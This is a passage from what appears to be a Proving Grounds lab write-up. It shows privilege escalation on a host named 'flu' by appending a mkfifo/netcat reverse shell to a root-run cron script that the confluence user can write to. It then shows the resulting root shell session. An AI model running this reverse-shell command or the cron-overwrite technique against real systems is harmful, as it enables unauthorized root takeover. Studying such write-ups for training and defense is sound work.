Overwriting Cronjob File
The root cronjob executes the Bash script log-backup.sh, which archives the Confluence log directory to /root/backup
with a timestamp and deletes old backups. The script was identified by PSPY and PEAS, confirming its execution and location. Notably, log-backup.sh
is owned by the confluence
user, allowing potential modification. This ownership presents a privilege escalation opportunity since the script runs with root
privileges.
confluence@flu:/opt$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.45.198 1234 >/tmp/f' >> /opt/log-backup.sh
Appending a reverse shell command to the /opt/log-backup.sh
file
confluence@flu:/opt$ cat log-backup.sh
#!/bin/bash
CONFLUENCE_HOME="/opt/atlassian/confluence/"
LOG_DIR="$CONFLUENCE_HOME/logs"
BACKUP_DIR="/root/backup"
TIMESTAMP=$(date "+%Y%m%d%H%M%S")
# Create a backup of log files
cp -r $LOG_DIR $BACKUP_DIR/log_backup_$TIMESTAMP
tar -czf $BACKUP_DIR/log_backup_$TIMESTAMP.tar.gz $BACKUP_DIR/log_backup_$TIMESTAMP
# Cleanup old backups
find $BACKUP_DIR -name "log_backup_*" -mmin +5 -exec rm -rf {} \;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.45.198 1234 >/tmp/f
Updated /opt/log-backup.sh
file
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/flu]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [192.168.45.198] from (UNKNOWN) [192.168.144.41] 39444
bash: cannot set terminal process group (25439): Inappropriate ioctl for device
bash: no job control in this shell
root@flu:~# whoami
whoami
root
root@flu:~# hostname
hostname
flu
root@flu:~# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:9e:08:79 brd ff:ff:ff:ff:ff:ff
altname enp3s0
inet 192.168.144.41/24 brd 192.168.144.255 scope global ens160
valid_lft forever preferred_lft forever
System level compromise